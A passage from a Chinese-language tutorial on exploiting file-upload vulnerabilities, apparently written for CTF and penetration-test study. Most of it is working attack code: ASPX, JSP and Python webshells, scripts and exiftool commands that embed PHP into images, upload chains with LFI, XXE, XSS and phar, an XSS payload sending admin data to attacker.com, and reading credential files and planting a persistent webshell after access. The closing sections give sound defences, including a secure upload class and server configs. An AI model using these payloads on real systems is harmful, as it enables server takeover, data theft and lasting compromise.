Response.Write exec.StdOut.ReadAll()
Set shell = Nothing
%>
<%@ Page Language="C#" %>
<%-- ASPX C# WebShell --%>
<%
// ── ASPX 一句话 ──
// 写入文件:shell.aspx
%>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
if(Request.Form["cmd"] != null) {
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request.Form["cmd"];
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
}
</script>
<form method="post">
<input type="text" name="cmd" />
<input type="submit" value="Run" />
</form>
12.3 JSP WebShell
<%-- JSP WebShell --%>
<%-- ── 一句话(Runtime.exec)── --%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", cmd};
Process proc = rt.exec(commands);
java.io.BufferedReader stdInput = new java.io.BufferedReader(
new java.io.InputStreamReader(proc.getInputStream()));
java.io.BufferedReader stdError = new java.io.BufferedReader(
new java.io.InputStreamReader(proc.getErrorStream()));
String s = "";
while ((s = stdInput.readLine()) != null) out.println(s + "<br>");
while ((s = stdError.readLine()) != null) out.println(s + "<br>");
}
%>
<%-- ── 更简洁的写法 ── --%>
<%
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream()
).useDelimiter("\\A");
out.print(s.hasNext() ? s.next() : "");
%>
12.4 Python WebShell
# Flask WebShell
from flask import Flask, request
import os, subprocess
app = Flask(__name__)
@app.route('/shell')
def shell():
cmd = request.args.get('cmd', 'id')
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
return f'<pre>{output.decode()}</pre>'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
# CGI WebShell(Python 2/3)
#!/usr/bin/env python3
import cgi, os, subprocess
print("Content-Type: text/html\n")
form = cgi.FieldStorage()
cmd = form.getvalue('cmd', 'id')
try:
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
print(f"<pre>{output.decode()}</pre>")
except Exception as e:
print(f"Error: {e}")
十三、图片马制作与利用
13.1 什么是图片马
图片马(Image Shell)是将 PHP 代码嵌入到图片文件中,同时满足:
- 文件能通过图片类型检测(文件头合法)
- 文件中包含 PHP 代码(能被 PHP 解析器执行)
- 通常配合文件包含漏洞(LFI)使用
13.2 制作方法
方法一:命令行直接合并
# Linux:将 PHP 代码追加到图片末尾
cat real.jpg <(echo '<?php system($_GET["cmd"]); ?>') > shell.jpg
# 或
echo '<?php system($_GET["cmd"]); ?>' >> real.jpg
# 使用 copy 命令(Windows)
copy /b real.jpg + shell.php shell.jpg
# 更精确的二进制合并(Python)
python3 -c "
img = open('real.jpg', 'rb').read()
php = b'<?php system(\$_GET[\"cmd\"]); ?>'
open('shell.jpg', 'wb').write(img + php)
print('Done:', len(img)+len(php), 'bytes')
"
方法二:exiftool 写入元数据
# 写入 JPEG Comment 字段(最推荐,抗二次渲染)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# 同时写入多个字段(提高稳定性)
exiftool \
-Comment='<?php system($_GET["cmd"]); ?>' \
-Artist='<?php system($_GET["cmd"]); ?>' \
real.jpg -o shell.jpg
# 验证
exiftool shell.jpg | grep -E 'Comment|Artist'
strings shell.jpg | grep php
方法三:Python 精确构造
import struct, zlib, io
from PIL import Image
def make_image_shell(output_path, php_code='<?php system($_GET["cmd"]); ?>',
img_type='gif', img_size=(100, 100)):
"""
制作图片马
支持 gif/jpg/png 格式
"""
php_bytes = php_code.encode('latin-1')
if img_type == 'gif':
# 构造最小 GIF + PHP 代码
header = b'GIF89a'
# 简单图像数据(1x1)
body = (b'\x01\x00\x01\x00\x80\x00\x00' # 逻辑屏幕描述符
b'\xff\xff\xff\x00\x00\x00' # 颜色表
b'\x21\xf9\x04\x00\x00\x00\x00\x00' # 图形控制
b'\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00' # 图像描述符
b'\x02\x02\x44\x01\x00' # 图像数据
b'\x3b') # 结束
shell = header + body + php_bytes
elif img_type == 'jpg':
# 使用 PIL 生成真实 JPEG
img = Image.new('RGB', img_size, color=(255, 255, 255))
buf = io.BytesIO()
img.save(buf, format='JPEG', quality=85)
jpeg_data = buf.getvalue()
# 在 JPEG EOI 标记前插入 PHP 代码
# 找到 SOI 和 EOI 标记
shell = jpeg_data[:-2] + php_bytes + b'\xff\xd9'
elif img_type == 'png':
# 使用 PIL 生成真实 PNG
img = Image.new('RGB', img_size, color=(255, 255, 255))
buf = io.BytesIO()
img.save(buf, format='PNG')
png_data = buf.getvalue()
# 在 IEND 块前插入自定义 tEXt 块
iend = b'\x00\x00\x00\x00IEND\xaeB`\x82'
idx = png_data.rfind(iend)
if idx == -1:
shell = png_data + php_bytes
else:
# 构造 tEXt 块
text_data = b'Comment\x00' + php_bytes
length = struct.pack('>I', len(text_data))
crc = struct.pack('>I', zlib.crc32(b'tEXt' + text_data) & 0xffffffff)
text_chunk = length + b'tEXt' + text_data + crc
shell = png_data[:idx] + text_chunk + png_data[idx:]
with open(output_path, 'wb') as f:
f.write(shell)
print(f"[+] Created {output_path} ({len(shell)} bytes)")
return shell
# 生成各种格式的图片马
make_image_shell('shell.gif', img_type='gif')
make_image_shell('shell.jpg', img_type='jpg')
make_image_shell('shell.png', img_type='png')
13.3 图片马利用场景
场景一:上传功能 + 文件包含漏洞(LFI)
1. 上传 shell.jpg 到 /uploads/
2. 利用 LFI:?page=./uploads/shell.jpg&cmd=id
场景二:上传功能 + Apache 解析漏洞
1. 上传 .htaccess(AddType application/x-httpd-php .jpg)
2. 上传 shell.jpg
3. 访问 /uploads/shell.jpg?cmd=id → 被解析为 PHP
场景三:上传功能 + Nginx 解析漏洞
1. 上传 shell.jpg
2. 访问 /uploads/shell.jpg/.php?cmd=id
场景四:直接包含(allow_url_include=On)
?page=http://attacker.com/shell.jpg
十四、上传结合其他漏洞
14.1 上传 + 文件包含(LFI)
攻击链:
文件上传(白名单,只能传图片)
↓
上传图片马 shell.jpg(PHP代码嵌入图片)
↓
文件包含漏洞(LFI)
?page=./uploads/shell.jpg
↓
PHP 解析执行图片中的代码 → RCE
14.2 上传 + SSRF
攻击链:
应用支持从 URL 上传文件(SSRF 点)
↓
提交内部 URL:http://127.0.0.1/admin/config
↓
服务器从内网拉取文件内容(SSRF)
↓
获取内网资源 / 配合 phar:// 触发反序列化
14.3 上传 + XXE
<!-- 上传含 XXE 的 SVG/XML 文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
<!-- 上传含 XXE 的 DOCX/XLSX(ZIP 内的 XML)-->
<!-- 解压 docx → 修改 word/document.xml → 添加 DOCTYPE → 重新压缩上传 -->
14.4 上传 + XSS
攻击场景:文件名或文件内容被显示到页面
// 恶意文件名
filename: <script>alert(document.cookie)</script>.jpg
filename: "><img src=x onerror=alert(1)>.jpg
// SVG 文件 XSS(若服务器以 image/svg+xml 返回)
<!-- shell.svg 内容 -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
// HTML 文件上传(若允许上传 HTML)
<!-- 配合 CORS 或 CSP 绕过 -->
<script>
fetch('/api/admin', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('http://attacker.com/?d='+btoa(d)));
</script>
14.5 上传 + Phar 反序列化
// 攻击链:
// 1. 构造含恶意 PHP 对象的 phar 文件
// 2. 上传(伪装成图片)
// 3. 触发 phar:// 反序列化(通过其他文件操作函数)
// 上传的 evil.phar 伪装为 evil.jpg
// 触发点(其他功能):
file_exists('phar:///uploads/evil.jpg');
file_get_contents('phar:///uploads/evil.jpg');
// 任何接受文件路径的函数 + phar:// 前缀
十五、CTF 实战思路
15.1 文件上传漏洞快速判断流程
发现文件上传功能
↓
Step 1:测试无过滤
直接上传 shell.php
→ 成功?直接 RCE
↓(失败)
Step 2:分析过滤类型
├── 前端 JS 过滤? → Burp 拦截修改 / 禁用 JS
├── Content-Type? → 改为 image/jpeg
├── 扩展名黑名单? → 尝试等价扩展名 / 大小写 / 双扩展名
├── 扩展名白名单? → 配合 .htaccess / .user.ini / 解析漏洞
└── 内容检测? → 添加图片头 / exiftool 注入
↓(白名单场景)
Step 3:配合利用
├── 上传 .htaccess 修改解析规则(Apache)
├── 上传 .user.ini 设置 auto_prepend(PHP-FPM)
├── 结合 LFI 包含上传的图片马
├── 条件竞争(竞争删除窗口)
└── 二次渲染绕过(找稳定区域嵌入代码)
15.2 常见 CTF 题目类型与对应手法
| 题目特征 | 对应绕过手法 |
|---|---|
| 只检测扩展名(黑名单) | php3/php5/phtml/大小写 |
| 只检测 Content-Type | 改 MIME 为 image/jpeg |
| 允许上传任意文件但 .php 被过滤 | 上传 .htaccess |
| 白名单只允许图片 | 图片马 + LFI |
| 上传后文件被重命名 | 条件竞争 / 配合 .htaccess |
| 上传后图片被二次渲染 | 找稳定区域 / GIF 注释块 |
| Docker PHP 环境 | pearcmd.php |
| 文件名注入 | 路径穿越 / 命令注入 |
15.3 WebShell 连接方式
# 菜刀(中国蚁剑 AntSword)
# 连接地址:http://target.com/uploads/shell.php
# 密码:cmd(对应 $_POST['cmd'] 或 eval($_POST['cmd']))
# 蚁剑(AntSword)命令行安装
npm install -g antSword
# 冰蝎(Behinder)连接
# 需要上传冰蝎对应的 WebShell
# 连接地址:http://target.com/uploads/behinder.php
# 密钥:e45e329feb5d925b(默认)
# 哥斯拉(Godzilla)
# 功能最全,流量加密,难检测
# 简单 curl 测试
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php" -d "cmd=system('id');"
15.4 获得 Shell 后的提权信息收集
# 上传 WebShell 后的基本信息收集
id && whoami && hostname && uname -a
cat /etc/passwd
cat /proc/self/environ
find / -name "flag*" 2>/dev/null
find / -perm -4000 2>/dev/null # SUID 文件
sudo -l # sudo 权限
cat /etc/crontab # 定时任务
# 数据库配置(常见路径)
cat /var/www/html/config.php
cat /var/www/html/.env
cat /var/www/html/wp-config.php
# 写入持久化 WebShell
echo '<?php @eval($_POST[x]);?>' > /var/www/html/images/cache.php
十六、防御措施
16.1 核心防御策略
优先级排序:
① 存储路径在 Web 根目录外(最根本的防御)
② 白名单扩展名 + 内容检测双重验证
③ 随机化文件名(防止路径猜测)
④ 禁止上传目录执行脚本(服务器配置)
⑤ CDN / 独立域名提供上传文件(隔离执行环境)
16.2 代码层面
<?php
class FileUploadSecurity {
// 白名单(根据业务场景配置)
private $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx'];
private $allowed_mimes = [
'image/jpeg', 'image/png', 'image/gif',
'application/pdf',
'application/msword',
'application/vnd.openxmlformats-officedocument.wordprocessingml.document'
];
private $max_size = 5 * 1024 * 1024; // 5MB
private $upload_dir = '/data/uploads/'; // Web 根目录外!
public function upload($file) {
// 1. 基础检查
if ($file['error'] !== UPLOAD_ERR_OK) {
return $this->error('Upload error: ' . $file['error']);
}
if ($file['size'] > $this->max_size) {
return $this->error('File too large');
}
// 2. 白名单扩展名检测
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $this->allowed_extensions)) {
return $this->error('File extension not allowed');
}
// 3. 真实 MIME 类型检测(不信任客户端 Content-Type)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$real_mime = $finfo->file($file['tmp_name']);
if (!in_array($real_mime, $this->allowed_mimes)) {
return $this->error('File content type not allowed');
}
// 4. 图片二次渲染(彻底清除嵌入代码)
if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif'])) {
$result = $this->reprocess_image($file['tmp_name'], $ext);
if (!$result) return $this->error('Image processing failed');
}
// 5. 随机文件名(防止路径预测和覆盖)
$new_name = $this->random_name() . '.' . $ext;
$dest = $this->upload_dir . $new_name;
// 6. 移动文件
if (!move_uploaded_file($file['tmp_name'], $dest)) {
return $this->error('Failed to save file');
}
return ['success' => true, 'name' => $new_name];
}
private function reprocess_image($tmp, $ext) {
// 使用 GD 库重新生成图片,清除所有元数据和嵌入代码
switch ($ext) {
case 'jpg': case 'jpeg':
$img = @imagecreatefromjpeg($tmp);
if (!$img) return false;
imagejpeg($img, $tmp, 85);
break;
case 'png':
$img = @imagecreatefrompng($tmp);
if (!$img) return false;
imagepng($img, $tmp, 6);
break;
case 'gif':
$img = @imagecreatefromgif($tmp);
if (!$img) return false;
imagegif($img, $tmp);
break;
default:
return false;
}
imagedestroy($img);
return true;
}
private function random_name($len = 32) {
return bin2hex(random_bytes($len / 2));
}
private function error($msg) {
return ['success' => false, 'error' => $msg];
}
}
16.3 服务器配置
# Nginx 配置:禁止上传目录执行脚本
server {
# 上传文件目录禁止 PHP 执行
location /uploads/ {
# 方法一:禁止直接访问(用 CDN 或其他域名提供)
# internal;
# 方法二:禁止执行 PHP
location ~ \.php$ {
deny all;
return 403;
}
# 禁止 .htaccess 和 .user.ini
location ~ /\.(htaccess|htpasswd|user\.ini)$ {
deny all;
}
# 禁止执行各类脚本
location ~* \.(php|php3|php4|php5|phtml|phar|asp|aspx|jsp|cgi|sh|py|pl)$ {
deny all;
return 403;
}
}
}
# Apache 配置:上传目录禁止执行
<Directory /var/www/html/uploads>
# 禁止 PHP 执行
php_flag engine off
# 禁止 SSI
Options -Includes -ExecCGI
# 覆盖任何 .htaccess 规则(防止上传 .htaccess 绕过)
AllowOverride None
# 禁止执行脚本文件
<FilesMatch "\.(php|php3|php4|php5|phtml|phar|asp|aspx|jsp|cgi)$">
Order allow,deny
Deny from all
</FilesMatch>
</Directory>
16.4 架构层面防御
最佳实践:文件上传架构设计
┌─────────────────────────────────────────────────────┐
│ 用户上传 │
└──────────────────────┬──────────────────────────────┘
↓
┌──────────────────────────────────────────────────────┐
│ 上传服务(独立进程/容器) │
│ ① 扩展名白名单检测 │
│ ② 真实 MIME 检测(libmagic) │
│ ③ 文件大小限制 │
│ ④ 图片二次渲染(GD/Imagick) │
│ ⑤ 病毒扫描(可选) │
└──────────────────────┬──────────────────────────────┘
↓
┌──────────────────────────────────────────────────────┐
│ 对象存储(OSS/S3/MinIO) │
│ 存储路径:/不可直接访问的目录 或 云存储 │
│ 文件名:随机哈希 │
│ 不配置 Web 服务器执行权限 │
└──────────────────────┬──────────────────────────────┘
↓
┌──────────────────────────────────────────────────────┐
│ CDN / 独立静态资源域名提供访问 │
│ static.example.com(与主站不同域) │
│ 无 PHP 解析,纯静态文件服务 │
│ Content-Type 强制设置 │
│ Content-Disposition: attachment(强制下载) │
└──────────────────────────────────────────────────────┘
16.5 防御检查清单
✅ 存储目录在 Web 根目录外(如 /data/uploads/),不可直接访问
✅ 使用白名单而非黑名单限制扩展名
✅ 使用 finfo 检测真实 MIME 类型,不信任 Content-Type 头
✅ 使用 GD/Imagick 对图片进行二次渲染(清除嵌入代码)
✅ 随机化存储文件名(UUID/随机哈希)
✅ 上传目录禁止执行任何脚本(php/asp/jsp/cgi 等)
✅ 上传目录禁止解析 .htaccess 和 .user.ini
✅ 设置适当的文件大小限制
✅ 上传文件通过独立域名提供(防止同域 Cookie 被盗用)
✅ 访问上传文件时设置正确的 Content-Type 和 Content-Disposition
✅ 记录所有上传操作日志,设置异常文件告警
✅ 部署 WAF 检测上传中的 WebShell 特征
✅ 定期扫描上传目录,检测已存在的恶意文件
✅ 禁止同一 IP 短时间内大量上传(速率限制)
附录
A. 扩展名绕过速查表
| 语言 | 原始扩展名 | 可绕过的等价扩展名 |
|---|---|---|
| PHP | .php |
.php3 .php4 .php5 .php7 .phtml .pht .phar .shtml |
| ASP | .asp |
.asa .cer .cdx .aspx(不同) |
| ASPX | .aspx |
.ashx .asmx .svc |
| JSP | .jsp |
.jspx .jspf .jsw .jsv .jtml |
| Perl | .pl |
.cgi .pm |
| Python | .py |
.pyw .pyd |
B. 常见上传点请求格式
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Cookie: PHPSESSID=abc123
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
GIF89a
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
C. 主流 CMS 文件上传漏洞参考点
| CMS | 常见上传路径 | 备注 |
|---|---|---|
| WordPress | /wp-content/uploads/ |
插件/主题上传可能 RCE |
| Joomla | /images/ /media/ |
组件上传功能 |
| Drupal | /sites/default/files/ |
CVE 系列上传漏洞 |
| ThinkPHP | /public/uploads/ |
框架本身无漏洞,应用层 |
| Laravel | /storage/app/ /public/ |
存储配置不当 |
| Struts2 | 取决于应用配置 | 文件上传组件历史漏洞 |
| Spring | 取决于应用配置 | Multipart 配置 |
D. 文件上传利用工具
| 工具 | 用途 |
|---|---|
| Burp Suite | 拦截修改上传请求,Repeater 重放测试 |
| AntSword(蚁剑) | WebShell 管理,支持多种加密连接 |
| Behinder(冰蝎) | 加密流量 WebShell 管理 |
| Godzilla(哥斯拉) | 流量加密 WebShell,功能完整 |
| exiftool | 图片元数据操作,写入 PHP 代码 |
| upload-labs | 文件上传靶场(21 关) |
| Weevely | 隐蔽 PHP WebShell 生成器 |
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权利用文件上传漏洞属于违法行为,请在合法合规的环境中学习与实践。